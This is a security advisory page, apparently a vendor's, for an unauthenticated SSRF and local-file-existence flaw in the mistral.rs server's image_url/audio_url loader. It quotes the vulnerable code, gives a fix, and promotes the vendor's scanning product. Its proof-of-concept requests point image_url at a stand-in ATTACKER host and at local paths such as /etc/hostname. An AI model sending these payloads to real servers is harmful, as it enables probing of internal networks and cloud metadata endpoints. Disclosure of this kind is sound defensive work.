GHSA-wfgq-w7cq-qj7j is a high-severity (CVSS 7.2) vulnerability in mistralrs-server-core. O3 Security confirms whether GHSA-wfgq-w7cq-qj7j is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
mistral.rs Media Loader: Unauthenticated SSRF and arbitrary local file read via image_url
Real-World Exposure
mistralrs-server-coreReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects crates.io packages — download data is not available via public APIs for these ecosystems.
Description
Summary
mistral.rs fetches any request-supplied image/audio URL with no host or IP validation, and opens arbitrary local files (a file:// URL, or any existing relative/absolute path). A remote, unauthenticated client of any vision/audio deployment can cause the server to issue requests to internal or cloud-metadata addresses (SSRF) and to open arbitrary local files, via the standard OpenAI image_url / audio_url message content. The server is unauthenticated by default.
Details
parse_image_url in mistralrs-server-core/src/util.rs (lines 45-88) resolves the request string and fetches/opens it:
let url = if let Ok(url) = url::Url::parse(url_unparsed) {
url
} else if File::open(url_unparsed).await.is_ok() { // a bare existing path (relative or absolute)
url::Url::from_file_path(std::path::absolute(url_unparsed)?) ...
} else { bail!(...) };
let bytes = if url.scheme() == "http" || url.scheme() == "https" {
reqwest::get(url.clone()).await ... // SSRF: no host/IP/allowlist check
} else if url.scheme() == "file" {
File::open(path).await ... read // arbitrary local file read
} else if url.scheme() == "data" { ... base64 ... };
reqwest::get has no allowlist, no private/loopback/link-local/metadata block, and follows redirects by default. The file scheme (and any bare path that already exists on the server, resolved at line 48) is opened and read. parse_audio_url (line 91) is identical for audio_url.
The value reaches this unvalidated: mistralrs-server-core/src/chat_completion.rs calls parse_image_url(&url_unparsed) / parse_audio_url(&url_unparsed) on the chat message content, at request time.
For reference, vLLM gates outbound media domains (allowed_media_domains) and local paths (allowed_local_media_path); mistral.rs has neither.
Suggested fix
Restrict request-supplied media to http(s) and data:; do not resolve bare strings to local files and do not honor the file scheme from request input (gate any local-media behind an explicit, default-disabled option). Before fetching http(s), resolve the host and reject non-global IPs (private / loopback / link-local / metadata), pin the connection to the validated IP, and re-validate redirects (or disable them). Cap the read size.
Proof of concept
On a default vision deployment, unauthenticated:
SSRF - the server fetches the attacker URL during request processing:
POST /v1/chat/completions
{"model":"<vlm>","messages":[{"role":"user","content":[
{"type":"image_url","image_url":{"url":"http://ATTACKER/probe"}},
{"type":"text","text":"hi"}]}],"max_tokens":1}
An out-of-band HTTP GET arrives at ATTACKER; a redirect to an internal/metadata address is followed.
Arbitrary local file open, with a file-existence oracle in the response body (an existing file and a nonexistent path return different errors):
existing file (opened and read, then fails to decode):
POST /v1/chat/completions
{"model":"<vlm>","messages":[{"role":"user","content":[
{"type":"image_url","image_url":{"url":"/etc/hostname"}},
{"type":"text","text":"hi"}]}],"max_tokens":1}
-> 500, response body message: "The image format could not be determined"
nonexistent path:
POST /v1/chat/completions
{"model":"<vlm>","messages":[{"role":"user","content":[
{"type":"image_url","image_url":{"url":"/nonexistent"}},
{"type":"text","text":"hi"}]}],"max_tokens":1}
-> 500, response body message: "Invalid source '/nonexistent': not a valid URL (http/https/data) and file not found on server. ..."
The difference is structural: parse_image_url (util.rs:48) takes the file branch only when File::open(url_unparsed) succeeds, otherwise it bails with "file not found on server" (util.rs:52); an existing-but-non-image file is read and then fails in image::load_from_memory (util.rs:87). The error response carries sanitize_error_message (util.rs:210), which returns the root-cause message, so both reach the client verbatim.
Impact
An attacker with network access to a default vision/audio deployment can reach internal services and the cloud metadata endpoint (SSRF, confirmed end to end). The fetched bytes go to a media decoder, not back to the attacker, so the SSRF is blind: egress to attacker-chosen internal hosts is the usable primitive. The loader also opens a request-supplied file:// URL or any existing local path, and the response distinguishes an existing file from a nonexistent path (and an existing non-image file from a directory), giving an unauthenticated file-existence and file-type oracle over the server filesystem. The file contents are not returned, so this is an existence/enumeration oracle, not content disclosure.
Availability (CVSS A:L): reqwest::get (util.rs:61) uses the default client, which has no timeout, and http_resp.bytes() (util.rs:62) reads the entire response body with no size cap, so an attacker-chosen unbounded or non-responding host exhausts or ties up a worker. The file branch allocates vec![0; metadata.len()] (util.rs:73) before reading, so pointing at a large local file does the same.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🦀crates.io | mistralrs-server-core | all versions | 0.8.18 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for mistralrs-server-core. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update mistralrs-server-core to 0.8.18 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-wfgq-w7cq-qj7j is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-wfgq-w7cq-qj7j is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-wfgq-w7cq-qj7j. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-wfgq-w7cq-qj7j in your dependencies?
O3 detects GHSA-wfgq-w7cq-qj7j across crates.io dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.